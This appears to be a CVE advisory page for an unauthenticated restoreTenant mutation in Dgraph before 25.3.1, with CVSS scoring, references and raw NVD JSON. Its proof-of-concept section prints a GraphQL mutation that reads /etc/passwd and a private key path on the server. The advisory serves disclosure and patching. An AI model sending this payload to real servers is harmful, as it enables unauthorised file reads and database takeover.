CVE-2026-34976

Description

Dgraph is an open source distributed GraphQL database. Prior to 25.3.1, the restoreTenant admin mutation is missing from the authorization middleware config (admin.go), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. This vulnerability is fixed in 25.3.1.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:* - VULNERABLE

Dgraph < 25.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

mutation {
  restoreTenant(input: {
    location: "file:///etc/passwd",
    accessKey: "hacker",
    secretKey: "hacker",
    encryptionKeyFile: "/etc/ssl/private/key"
  }) {
    response {
      code
      message
    }
  }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34976
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34976
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34976/
[4] VulDB https://vuldb.com/cve/CVE-2026-34976
[5] https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
[6] https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34976", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:11.370", "lastModified": "2026-04-22T19:51:26.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.3.1, the restoreTenant admin mutation is missing from the authorization middleware config (admin.go), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. This vulnerability is fixed in 25.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:*", "versionEndIncluding": "25.3.0", "matchCriteriaId": "DE79F31D-5001-49A9-AE24-17F2599FA5B8"}]}]}], "references": [{"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}